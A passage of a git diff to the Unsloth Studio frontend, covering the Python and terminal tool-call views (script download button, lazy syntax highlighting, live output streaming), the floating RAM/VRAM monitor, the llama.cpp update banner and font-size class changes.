+/** Save the executed script as a .py file via a client-side Blob (no server file serving). */
+function DownloadBtn({ code, name = "script.py" }: { code: string; name?: string }) {
+  const download = useCallback(() => {
+    if (typeof document === "undefined") {
+      return;
+    }
+    try {
+      const blob = new Blob([code], { type: "text/x-python" });
+      const url = URL.createObjectURL(blob);
+      const anchor = document.createElement("a");
+      anchor.href = url;
+      anchor.download = name;
+      document.body.appendChild(anchor);
+      anchor.click();
+      anchor.remove();
+      // Revoke next tick, after the click consumes the URL.
+      setTimeout(() => URL.revokeObjectURL(url), 0);
+    } catch {
+      // Best-effort: never break the transcript over a download.
+    }
+  }, [code, name]);
+
   return (
-    <div className="max-h-48 overflow-auto text-xs [&_pre]:!m-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_pre]:!text-xs [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!p-3 [&_[data-streamdown=code-block]]:!border-0">
-      <Streamdown
-        mode="static"
-        plugins={{ code: codePlugin }}
-        controls={{ code: false }}
-        shikiTheme={SHIKI_THEME}
-      >
-        {markdown}
-      </Streamdown>
+    <button
+      type="button"
+      onClick={download}
+      className="inline-flex items-center gap-1 rounded px-1.5 py-0.5 text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+      aria-label="Download script"
+    >
+      <DownloadIcon className="size-3" />
+      Download
+    </button>
+  );
+}
+
+/** Syntax-highlighted code via Streamdown + shiki; inherits parent container.
+ * The script is always in the DOM (a plain monospace placeholder), but shiki
+ * only tokenizes once the block scrolls near the viewport, so a long transcript
+ * with many scripts doesn't highlight every one up front. Falls back to
+ * immediate highlight when IntersectionObserver is unavailable (SSR / tests). */
+function HighlightedCode({ code: source, language }: { code: string; language: string }) {
+  const display = useMemo(() => truncate(source), [source]);
+  const markdown = useMemo(
+    () => `\`\`\`${language}\n${display}\n\`\`\``,
+    [display, language],
+  );
+  const containerRef = useRef<HTMLDivElement>(null);
+  const [highlight, setHighlight] = useState(
+    () => typeof IntersectionObserver === "undefined",
+  );
+  useEffect(() => {
+    if (highlight) return;
+    const el = containerRef.current;
+    if (!el) return;
+    const io = new IntersectionObserver(
+      (entries) => {
+        if (entries.some((entry) => entry.isIntersecting)) {
+          setHighlight(true);
+          io.disconnect();
+        }
+      },
+      // Highlight just before the block enters view so it's colorized by the
+      // time the user reaches it, without tokenizing off-screen scripts.
+      { rootMargin: "200px" },
+    );
+    io.observe(el);
+    return () => io.disconnect();
+  }, [highlight]);
+  return (
+    <div
+      ref={containerRef}
+      className="max-h-48 overflow-auto text-xs [&_pre]:!m-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_pre]:!text-xs [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!p-3 [&_[data-streamdown=code-block]]:!border-0"
+    >
+      {highlight ? (
+        <Streamdown
+          mode="static"
+          plugins={{ code: codePlugin }}
+          controls={{ code: false }}
+          shikiTheme={SHIKI_THEME}
+        >
+          {markdown}
+        </Streamdown>
+      ) : (
+        // A div, not a <pre>: the container's [&_pre]:!p-0 would override a
+        // <pre>'s padding and shift the content by p-3 when shiki swaps in. Keep
+        // the same p-3, and whitespace-pre (not pre-wrap) so long lines scroll in
+        // the container's overflow-auto exactly like the highlighted <pre>, rather
+        // than wrapping taller and then collapsing when shiki swaps in.
+        <div className="whitespace-pre p-3 font-mono text-xs text-muted-foreground">
+          {display}
+        </div>
+      )}
     </div>
   );
 }
@@ -105,6 +190,7 @@ function isStructuredResult(val: unknown): val is StructuredResult {
 }
 
 const PythonToolUIImpl: ToolCallMessagePartComponent = ({
+  toolCallId,
   args,
   result,
   status,
@@ -112,6 +198,9 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
   const code = (args as { code?: string })?.code ?? "";
   const firstLine = code.split("\n")[0]?.slice(0, 60) ?? "";
   const isRunning = status?.type === "running";
+  // Args still streaming = the model is WRITING the code, not running it yet.
+  const { propStatus } = useToolArgsStatus();
+  const isWritingCode = isRunning && propStatus.code === "streaming";
 
   let output: string;
   let images: string[] = [];
@@ -129,40 +218,60 @@ const PythonToolUIImpl: ToolCallMessagePartComponent = ({
     output = "";
   }
 
+  // Show the fuller live stream over a truncated result, keeping its exit
+  // status. Session-transient: after a reload only the result remains.
+  const paneScope = useToolPaneScope();
+  const fullOutput = useChatRuntimeStore(
+    (s) => s.toolFullOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const displayOutput = preferFullToolOutput(fullOutput, output);
+
   const authToken = getAuthToken();
 
   return (
-    <ToolFallbackRoot>
+    // Run status and output collapse from history, but the script source is
+    // rendered outside ToolFallbackContent so it stays visible on reopen (#7165).
+    <ToolFallbackRoot defaultOpen={isRunning}>
       <ToolFallbackTrigger
         toolName={firstLine ? `Python: ${firstLine}` : "Python"}
         status={status}
         icon={CodeIcon}
       />
+      {code && (
+        <div className="mt-1 pl-5">
+          <div className="border-l-2 border-muted-foreground/20 pl-2">
+            <div className="flex items-center justify-between">
+              <span className="text-xs font-medium text-muted-foreground">
+                script
+              </span>
+              <div className="flex items-center gap-1">
+                <CopyBtn text={code} />
+                <DownloadBtn code={code} />
+              </div>
+            </div>
+            <HighlightedCode code={code} language="python" />
+          </div>
+        </div>
+      )}
       <ToolFallbackContent>
         <div className="border-l-2 border-muted-foreground/20 pl-2">
-          {/* Code + copy */}
-          {code && (
-            <div className="flex justify-end">
-              <CopyBtn text={code} />
-            </div>
-          )}
-          {code && <HighlightedCode code={code} language="python" />}
-
           {/* Output */}
           {isRunning ? (
-            <div className="mt-2 flex items-center gap-2 text-sm text-muted-foreground">
-              <Spinner className="size-3.5" />
-              <span>Running&hellip;</span>
-            </div>
-          ) : output ? (
+            <>
+              <div className="mt-2 flex items-center gap-2 text-sm text-muted-foreground">
+                <Spinner className="size-3.5" />
+                <span>{isWritingCode ? "Writing code…" : "Running…"}</span>
+              </div>
+              {/* Live stdout streamed via tool_output SSE events. */}
+              <ToolLiveOutput toolCallId={toolCallId} />
+            </>
+          ) : displayOutput ? (
             <div className="mt-2 border-t border-dashed pt-2">
               <div className="flex items-center justify-between">
                 <span className="text-xs font-medium text-muted-foreground">output</span>
-                <CopyBtn text={output} />
+                <CopyBtn text={displayOutput} />
               </div>
-              <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
-                {truncate(output)}
-              </pre>
+              <ToolResultOutput text={displayOutput} />
             </div>
           ) : null}
 
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
index 6ab0afad6f..d9c1fbaf6d 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-render-html.tsx
@@ -123,7 +123,7 @@ const RenderHtmlToolUIImpl: ToolCallMessagePartComponent = ({
                 ? "Canvas interrupted"
                 : "Canvas unavailable"}
           </span>
-          <span className="truncate text-[11px] leading-none text-muted-foreground">
+          <span className="truncate text-ui-11 leading-none text-muted-foreground">
             {errorText ??
               (isStaleGeneratingArtifact
                 ? "Refresh stopped this preview"
diff --git a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
index c088d5cf98..17ae26d388 100644
--- a/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-ui-terminal.tsx
@@ -5,6 +5,7 @@
 
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import type { ToolCallMessagePartComponent } from "@assistant-ui/react";
+import { useToolArgsStatus } from "@assistant-ui/react";
 import { CopyIcon, TerminalIcon } from "lucide-react";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -15,16 +16,17 @@ import {
   ToolFallbackRoot,
   ToolFallbackTrigger,
 } from "./tool-fallback";
+import { ToolLiveOutput } from "./tool-live-output";
+import { ToolResultOutput } from "./tool-result-output";
+import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+import {
+  preferFullToolOutput,
+  toolOutputKey,
+  useToolPaneScope,
+} from "@/features/chat";
 
-const MAX_DISPLAY = 10_000;
 const COPY_RESET_MS = 2000;
 
-function truncate(text: string): string {
-  return text.length <= MAX_DISPLAY
-    ? text
-    : `${text.slice(0, MAX_DISPLAY)}\n... (truncated)`;
-}
-
 function CopyBtn({ text }: { text: string }) {
   const [copied, setCopied] = useState(false);
   const timer = useRef<ReturnType<typeof setTimeout> | null>(null);
@@ -65,12 +67,16 @@ function CopyBtn({ text }: { text: string }) {
 }
 
 const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
+  toolCallId,
   args,
   result,
   status,
 }) => {
   const command = (args as { command?: string })?.command ?? "";
   const isRunning = status?.type === "running";
+  // Args still streaming = the model is WRITING the command, not running it yet.
+  const { propStatus } = useToolArgsStatus();
+  const isWritingCommand = isRunning && propStatus.command === "streaming";
   const output =
     typeof result === "string"
       ? result
@@ -78,8 +84,17 @@ const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
         ? JSON.stringify(result, null, 2)
         : "";
 
+  // Show the fuller live stream over a truncated result, keeping its exit
+  // status. Session-transient: after a reload only the result remains.
+  const paneScope = useToolPaneScope();
+  const fullOutput = useChatRuntimeStore(
+    (s) => s.toolFullOutput[toolOutputKey(paneScope, toolCallId)] ?? "",
+  );
+  const displayOutput = preferFullToolOutput(fullOutput, output);
+
   return (
-    <ToolFallbackRoot>
+    // Open when mounted mid-run so live output shows; collapsed from history.
+    <ToolFallbackRoot defaultOpen={isRunning}>
       <ToolFallbackTrigger
         toolName={command ? `$ ${command.slice(0, 60)}` : "Terminal"}
         status={status}
@@ -88,19 +103,21 @@ const TerminalToolUIImpl: ToolCallMessagePartComponent = ({
       <ToolFallbackContent>
         <div className="border-l-2 border-muted-foreground/20 pl-2">
           {isRunning ? (
-            <div className="flex items-center gap-2 text-sm text-muted-foreground">
-              <Spinner className="size-3.5" />
-              <span>Running&hellip;</span>
-            </div>
-          ) : output ? (
+            <>
+              <div className="flex items-center gap-2 text-sm text-muted-foreground">
+                <Spinner className="size-3.5" />
+                <span>{isWritingCommand ? "Writing command…" : "Running…"}</span>
+              </div>
+              {/* Live stdout streamed via tool_output SSE events. */}
+              <ToolLiveOutput toolCallId={toolCallId} />
+            </>
+          ) : displayOutput ? (
             <div>
               <div className="flex items-center justify-between">
                 <span className="text-xs font-medium text-muted-foreground">output</span>
-                <CopyBtn text={output} />
+                <CopyBtn text={displayOutput} />
               </div>
-              <pre className="mt-1 max-h-60 overflow-auto whitespace-pre-wrap break-words font-mono text-xs">
-                {truncate(output)}
-              </pre>
+              <ToolResultOutput text={displayOutput} />
             </div>
           ) : null}
         </div>
diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
index f02da6612e..80501a518c 100644
--- a/studio/frontend/src/components/floating-monitor.tsx
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -3,33 +3,43 @@
 
 import { Button } from "@/components/ui/button";
 import { Progress } from "@/components/ui/progress";
-import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store";
+import { useMonitorOverlayStore } from "@/features/settings";
 import { useSystemInfo } from "@/hooks/use-system";
 import { useT } from "@/i18n";
 import { cn } from "@/lib/utils";
 import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
-import { motion } from "motion/react";
-import { useRef } from "react";
+import { AnimatePresence, motion, useDragControls } from "motion/react";
+import { type PointerEvent, useMemo, useState } from "react";
 
 function clampPercent(value: number): number {
   return Math.max(0, Math.min(100, value));
 }
 
 function usageIndicatorClass(percent: number): string {
-  if (percent >= 90) return "bg-destructive";
-  if (percent >= 70) return "bg-amber-500";
-  return "bg-primary";
+  if (percent >= 90) {
+    return "bg-destructive";
+  }
+  if (percent >= 70) {
+    return "bg-amber-500";
+  }
+  return "bg-control-accent";
 }
 
 function usageTextClass(percent: number): string {
-  if (percent >= 90) return "text-destructive";
-  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  if (percent >= 90) {
+    return "text-destructive";
+  }
+  if (percent >= 70) {
+    return "text-amber-600 dark:text-amber-400";
+  }
   return "text-primary";
 }
 
-function formatGb(value: number): string {
+function formatGiB(value: number): string {
+  // RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+  // nvidia-smi and PyTorch, so label the readout GiB rather than GB.
   const digits = value >= 10 ? 1 : 2;
-  return `${value.toFixed(digits)} GB`;
+  return `${value.toFixed(digits)} GiB`;
 }
 
 export function FloatingMonitor() {
@@ -37,9 +47,18 @@ export function FloatingMonitor() {
   const { isOpen, setIsOpen } = useMonitorOverlayStore();
   const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
 
-  const constraintsRef = useRef<HTMLDivElement>(null);
+  const [constraintsElement, setConstraintsElement] =
+    useState<HTMLDivElement | null>(null);
+  const constraintsRef = useMemo(
+    () => ({ current: constraintsElement }),
+    [constraintsElement],
+  );
+  const dragControls = useDragControls();
 
-  if (!isOpen) return null;
+  function startDrag(event: PointerEvent<HTMLDivElement>) {
+    event.preventDefault();
+    dragControls.start(event);
+  }
 
   const ramTotal = systemInfo.memory?.total_gb ?? 0;
   const ramAvailable = systemInfo.memory?.available_gb ?? 0;
@@ -51,110 +70,128 @@ export function FloatingMonitor() {
     (sum, device) => sum + (device.memory_total_gb ?? 0),
     0,
   );
-  const vramUsed = devices.reduce(
-    (sum, device) => sum + (device.vram_used_gb ?? 0),
-    0,
-  );
+  // null usage = unknown (e.g. Windows ROCm perf counter): treating it as 0
+  // fabricates a 0-used readout, so the aggregate is unknown if any device is.
+  const vramUsageKnown =
+    devices.length > 0 &&
+    devices.every((device) => Number.isFinite(device.vram_used_gb));
+  const vramUsed = vramUsageKnown
+    ? devices.reduce((sum, device) => sum + (device.vram_used_gb ?? 0), 0)
+    : 0;
   const vramPercent = clampPercent(
-    vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
+    vramUsageKnown && vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
   );
+  const unknownLabel = t("settings.resources.environment.unknown");
 
   const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
 
   return (
-    <div
-      ref={constraintsRef}
-      className="fixed inset-0 z-50 pointer-events-none"
-    >
-      <motion.div
-        layout={true}
-        drag={true}
-        dragConstraints={constraintsRef}
-        dragElastic={0.1}
-        dragMomentum={false}
-        initial={{ opacity: 0, scale: 0.9 }}
-        animate={{ opacity: 1, scale: 1 }}
-        exit={{ opacity: 0, scale: 0.9 }}
-        className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
-      >
-        <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
-          <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
-            <CpuIcon className="size-3.5 shrink-0 text-primary" />
-            <span className="truncate">
-              {t("settings.resources.liveMonitor.title")}
-            </span>
-          </div>
-          <div className="flex items-center gap-1 shrink-0">
-            <div className="cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing">
-              <GripVerticalIcon className="size-3.5" />
-            </div>
-
-            <Button
-              size="icon-xs"
-              variant="ghost"
-              className="text-muted-foreground hover:text-foreground"
-              onClick={() => setIsOpen(false)}
-              title={t("common.close")}
-              aria-label={t("common.close")}
-            >
-              <XIcon className="size-3" />
-            </Button>
-          </div>
-        </div>
-
-        <motion.div
-          initial={{ opacity: 0, height: 0 }}
-          animate={{ opacity: 1, height: "auto" }}
-          exit={{ opacity: 0, height: 0 }}
-          className="space-y-3 overflow-hidden"
+    <AnimatePresence>
+      {isOpen && (
+        <div
+          ref={setConstraintsElement}
+          className="fixed inset-0 z-50 pointer-events-none"
         >
-          <div className="space-y-1">
-            <div className="flex justify-between text-[11px] font-medium font-mono">
-              <span>{t("settings.resources.liveMonitor.ram")}</span>
-              <span className={cn("tabular-nums", usageTextClass(ramPercent))}>
-                {Math.round(ramPercent)}%
-              </span>
-            </div>
-            <div className="text-xs text-muted-foreground font-mono tabular-nums">
-              {formatGb(ramUsed)} / {formatGb(ramTotal)}
-            </div>
-            <Progress
-              value={ramPercent}
-              className="mt-1 h-1.5 rounded-full bg-muted"
-              indicatorClassName={usageIndicatorClass(ramPercent)}
-            />
-          </div>
-
-          {hasGpu && (
-            <div className="space-y-1">
-              <div className="flex justify-between text-[11px] font-medium font-mono">
-                <span className="truncate flex-1 pr-2">
-                  {t("settings.resources.liveMonitor.vram")}{" "}
-                  {devices.length > 1
-                    ? `(${devices.length} GPUs)`
-                    : `(${devices[0].name ?? "GPU"})`}
+          <motion.div
+            drag={true}
+            dragControls={dragControls}
+            dragListener={false}
+            dragConstraints={constraintsRef}
+            dragElastic={0}
+            dragMomentum={false}
+            initial={{ opacity: 0, scale: 0.9 }}
+            animate={{ opacity: 1, scale: 1 }}
+            exit={{ opacity: 0, scale: 0.9 }}
+            className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
+          >
+            <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
+              <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
+                <CpuIcon className="size-3.5 shrink-0 text-primary" />
+                <span className="truncate">
+                  {t("settings.resources.liveMonitor.title")}
                 </span>
-                <span
-                  className={cn(
-                    "shrink-0 tabular-nums",
-                    usageTextClass(vramPercent),
-                  )}
+              </div>
+              <div className="flex items-center gap-1 shrink-0">
+                <div
+                  onPointerDown={startDrag}
+                  className="touch-none cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing"
                 >
-                  {Math.round(vramPercent)}%
-                </span>
+                  <GripVerticalIcon className="size-3.5" />
+                </div>
+
+                <Button
+                  size="icon-xs"
+                  variant="ghost"
+                  className="text-muted-foreground hover:text-foreground"
+                  onClick={() => setIsOpen(false)}
+                  title={t("common.close")}
+                  aria-label={t("common.close")}
+                >
+                  <XIcon className="size-3" />
+                </Button>
               </div>
-              <div className="text-xs text-muted-foreground font-mono tabular-nums">
-                {formatGb(vramUsed)} / {formatGb(vramTotal)}
-              </div>
-              <Progress
-                value={vramPercent}
-                className="mt-1 h-1.5 rounded-full bg-muted"
-                indicatorClassName={usageIndicatorClass(vramPercent)}
-              />
             </div>
-          )}
-        </motion.div>
-      </motion.div>
-    </div>
+
+            <motion.div
+              initial={{ opacity: 0, height: 0 }}
+              animate={{ opacity: 1, height: "auto" }}
+              exit={{ opacity: 0, height: 0 }}
+              className="space-y-3 overflow-hidden"
+            >
+              <div className="space-y-1">
+                <div className="flex justify-between text-ui-11 font-medium font-mono">
+                  <span>{t("settings.resources.liveMonitor.ram")}</span>
+                  <span
+                    className={cn("tabular-nums", usageTextClass(ramPercent))}
+                  >
+                    {Math.round(ramPercent)}%
+                  </span>
+                </div>
+                <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                  {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
+                </div>
+                <Progress
+                  value={ramPercent}
+                  className="mt-1 h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(ramPercent)}
+                />
+              </div>
+
+              {hasGpu && (
+                <div className="space-y-1">
+                  <div className="flex justify-between text-ui-11 font-medium font-mono">
+                    <span className="truncate flex-1 pr-2">
+                      {t("settings.resources.liveMonitor.vram")}{" "}
+                      {devices.length > 1
+                        ? `(${devices.length} GPUs)`
+                        : `(${devices[0].name ?? "GPU"})`}
+                    </span>
+                    <span
+                      className={cn(
+                        "shrink-0 tabular-nums",
+                        vramUsageKnown
+                          ? usageTextClass(vramPercent)
+                          : "text-muted-foreground",
+                      )}
+                    >
+                      {vramUsageKnown ? `${Math.round(vramPercent)}%` : "--"}
+                    </span>
+                  </div>
+                  <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                    {vramUsageKnown ? formatGiB(vramUsed) : unknownLabel} /{" "}
+                    {formatGiB(vramTotal)}
+                  </div>
+                  <Progress
+                    value={vramUsageKnown ? vramPercent : 0}
+                    className="mt-1 h-1.5 rounded-full bg-muted"
+                    indicatorClassName={usageIndicatorClass(vramPercent)}
+                  />
+                </div>
+              )}
+            </motion.div>
+          </motion.div>
+        </div>
+      )}
+    </AnimatePresence>
   );
 }
diff --git a/studio/frontend/src/components/llama-update-banner.tsx b/studio/frontend/src/components/llama-update-banner.tsx
index 840383de90..2729558630 100644
--- a/studio/frontend/src/components/llama-update-banner.tsx
+++ b/studio/frontend/src/components/llama-update-banner.tsx
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { Button } from "@/components/ui/button";
+import { resyncInferenceStatusAfterServerModelChange } from "@/features/chat";
 import { useLlamaUpdateCheck } from "@/hooks/use-llama-update-check";
 import { useShowLlamaUpdateBanner } from "@/hooks/use-llama-update-pref";
 import { toast } from "@/lib/toast";
@@ -81,29 +82,39 @@ export function LlamaUpdateBanner({
   positioned = true,
 }: LlamaUpdateBannerProps): ReactElement | null {
   const showBannerPref = useShowLlamaUpdateBanner();
+  // Not gated on showBannerPref: this hook instance is the app-wide listener
+  // for a cross-tab reload_required resync (the settings-sheet's own instance
+  // only runs during an MTP-fallback rebuild), so muting the banner must not
+  // also silence that resync -- it only suppresses the UI below.
   const { status, visible, applying, apply, dismiss, snooze } =
     useLlamaUpdateCheck({
-      enabled: enabled && showBannerPref,
+      enabled,
+      onReloadRequired: resyncInferenceStatusAfterServerModelChange,
     });
 
   async function handleUpdate() {
+    const component = status?.component ?? "llama.cpp";
     const result = await apply();
     if (result?.ok) {
       const updatedTag = result.tag ?? status?.latest_tag ?? "the latest build";
       const reloadHint = result.reloadRequired
         ? " Reload your model to use it."
         : "";
-      toast.success(`llama.cpp updated to ${updatedTag}.${reloadHint}`);
+      toast.success(`${component} updated to ${updatedTag}.${reloadHint}`);
     } else if (result) {
       toast.error(
-        `llama.cpp update failed: ${result.error ?? "unknown error"}`,
+        `${component} update failed: ${result.error ?? "unknown error"}`,
       );
     }
   }
 
   const show =
-    visible && status != null && (status.update_available || applying);
+    showBannerPref &&
+    visible &&
+    status != null &&
+    (status.update_available || applying);
   const sizeBytes = status?.update_size_bytes ?? null;
+  const component = status?.component ?? "llama.cpp";
   const sizeLabel =
     sizeBytes && sizeBytes > 0
       ? `${Math.round(sizeBytes / (1024 * 1024))} MB`
@@ -133,7 +144,7 @@ export function LlamaUpdateBanner({
             type="button"
             onClick={dismiss}
             className="absolute top-2.5 right-3 flex size-6 items-center justify-center rounded-full text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground"
-            aria-label="Dismiss llama.cpp update notification"
+            aria-label={`Dismiss ${component} update notification`}
           >
             <svg
               aria-hidden="true"
@@ -161,7 +172,7 @@ export function LlamaUpdateBanner({
           />
           <div className="min-w-0">
             <p className="font-heading text-base font-medium text-foreground">
-              {applying ? "Updating llama.cpp..." : "New llama.cpp update"}
+              {applying ? `Updating ${component}...` : `New ${component} update`}
             </p>
             <p className="mt-0.5 text-xs text-muted-foreground">
               {status?.installed_tag ?? "unknown"} &rarr;{" "}
@@ -169,7 +180,7 @@ export function LlamaUpdateBanner({
                 {status?.latest_tag ?? ""}
               </span>
             </p>
-            <p className="mt-1 text-[11px] text-muted-foreground/70">
+            <p className="mt-1 text-ui-11 text-muted-foreground/70">
               {sizeLabel ? `${sizeLabel} download · ` : ""}No restart needed
               after update
             </p>
@@ -180,7 +191,7 @@ export function LlamaUpdateBanner({
           <div
             className="mb-1.5 mt-4 h-1 overflow-hidden rounded-full bg-muted"
             role="progressbar"
-            aria-label="Updating llama.cpp"
+            aria-label={`Updating ${component}`}
             aria-valuemin={0}
             aria-valuemax={100}
             aria-valuenow={
@@ -200,7 +211,7 @@ export function LlamaUpdateBanner({
             <Button
               size="sm"
               variant="ghost"
-              className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+              className="h-auto rounded-full px-3 py-2 text-ui-13 font-medium text-foreground"
               onClick={snooze}
               data-testid="llama-update-snooze-button"
             >
@@ -209,7 +220,7 @@ export function LlamaUpdateBanner({
             <Button
               size="sm"
               // Align pill edge with card padding.
-              className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+              className="-mr-1 h-auto rounded-full px-3.5 py-2 text-ui-13"
               onClick={handleUpdate}
               data-testid="llama-update-button"
             >
diff --git a/studio/frontend/src/components/navbar.tsx b/studio/frontend/src/components/navbar.tsx
index 44387f2480..1165705888 100644
--- a/studio/frontend/src/components/navbar.tsx
+++ b/studio/frontend/src/components/navbar.tsx
@@ -22,7 +22,7 @@ export function Navbar() {
     );
   }
   return (
-    <header className="absolute top-0 inset-x-0 z-40 h-[48px] pointer-events-none">
+    <header className="absolute top-0 inset-x-0 z-[45] h-[48px] pointer-events-none">
       <div className="flex h-full items-start pt-[11px] pl-2">
         <SidebarTrigger className="pointer-events-auto !size-[34px]" />
       </div>
diff --git a/studio/frontend/src/components/section-card.tsx b/studio/frontend/src/components/section-card.tsx
index cd8eb3d503..3720cf48bd 100644
--- a/studio/frontend/src/components/section-card.tsx
+++ b/studio/frontend/src/components/section-card.tsx
@@ -17,10 +17,10 @@ interface SectionCardProps {
 }
 
 const accentStyles = {
+  // Brand accent variant; follows the active palette via --control-accent.
   emerald: {
-    border: "ring-emerald-500/20",
-    iconBox:
-      "ring-emerald-200 bg-emerald-50 text-emerald-600 dark:ring-emerald-800 dark:bg-emerald-950 dark:text-emerald-400",
+    border: "ring-control-accent/20",
+    iconBox: "ring-control-accent/25 bg-control-accent/10 text-control-accent",
   },
   indigo: {
     border: "ring-indigo-500/20",
@@ -61,7 +61,7 @@ export function SectionCard({
       )}
     >
       {featured && (
-        <div className="pointer-events-none absolute inset-x-0 top-0 h-24 bg-gradient-to-b from-emerald-500/[0.04] to-transparent" />
+        <div className="pointer-events-none absolute inset-x-0 top-0 h-24 bg-gradient-to-b from-control-accent/[0.04] to-transparent" />
       )}
       {/* Header */}
       <div className="flex items-center gap-3">
@@ -77,7 +77,7 @@ export function SectionCard({
           <div className="flex items-center gap-2 pb-1">
             <h3 className="text-sm font-semibold">{title}</h3>
             {badge && (
-              <span className="rounded-full bg-emerald-100 px-2 py-0.5 text-[10px] font-semibold text-emerald-700 dark:bg-emerald-900 dark:text-emerald-300">
+              <span className="rounded-full bg-control-accent/15 px-2 py-0.5 text-ui-10 font-semibold text-control-accent">
                 {badge}
               </span>
             )}
diff --git a/studio/frontend/src/components/shutdown-dialog.tsx b/studio/frontend/src/components/shutdown-dialog.tsx
index e3e6ca9920..8f746c9414 100644
--- a/studio/frontend/src/components/shutdown-dialog.tsx
+++ b/studio/frontend/src/components/shutdown-dialog.tsx
@@ -52,8 +52,8 @@ export function ShutdownDialog({
     onAfterShutdown?.();
     document.body.innerHTML = `
       <div style="display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;font-family:sans-serif;gap:12px">
-        <p style="font-size:1.1rem;font-weight:600;margin:0">Unsloth Studio has stopped.</p>
-        <p style="font-size:0.9rem;color:#888;margin:0">You can now close this tab.</p>
+        <p style="font-size:calc(1.1rem * var(--ui-font-scale, 1));font-weight:600;margin:0">Unsloth Studio has stopped.</p>
+        <p style="font-size:calc(0.9rem * var(--ui-font-scale, 1));color:#888;margin:0">You can now close this tab.</p>
       </div>`;
   };
 
diff --git a/studio/frontend/src/components/tauri/startup-screen.tsx b/studio/frontend/src/components/tauri/startup-screen.tsx
index 678051b36b..74ed2f2cbe 100644
--- a/studio/frontend/src/components/tauri/startup-screen.tsx
+++ b/studio/frontend/src/components/tauri/startup-screen.tsx
@@ -72,7 +72,7 @@ function DiagnosticsCopyActions({
           readOnly
           value={manualReport}
           onFocus={(event) => event.currentTarget.select()}
-          className="h-32 w-full max-w-md resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-[10px] text-muted-foreground"
+          className="h-32 w-full max-w-md resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-ui-10 text-muted-foreground"
         />
       )}
     </div>
diff --git a/studio/frontend/src/components/tauri/update-banner.tsx b/studio/frontend/src/components/tauri/update-banner.tsx
index 4fe8a54377..6f5e655889 100644
--- a/studio/frontend/src/components/tauri/update-banner.tsx
+++ b/studio/frontend/src/components/tauri/update-banner.tsx
@@ -142,7 +142,7 @@ export function UpdateBanner({
                     </span>
                   </p>
                 )}
-                <p className="mt-1 text-[11px] text-muted-foreground/70">
+                <p className="mt-1 text-ui-11 text-muted-foreground/70">
                   {showFailure
                     ? "Backend recovered. Diagnostics are still available."
                     : isManualLinuxPackage
@@ -166,7 +166,7 @@ export function UpdateBanner({
                   <Button
                     size="sm"
                     variant="ghost"
-                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    className="h-auto rounded-full px-3 py-2 text-ui-13 font-medium text-foreground"
                     onClick={() => {
                       handleCopyDiagnostics().catch(console.error);
                     }}
@@ -176,14 +176,14 @@ export function UpdateBanner({
                   <Button
                     size="sm"
                     variant="ghost"
-                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    className="h-auto rounded-full px-3 py-2 text-ui-13 font-medium text-foreground"
                     onClick={onDismiss}
                   >
                     Later
                   </Button>
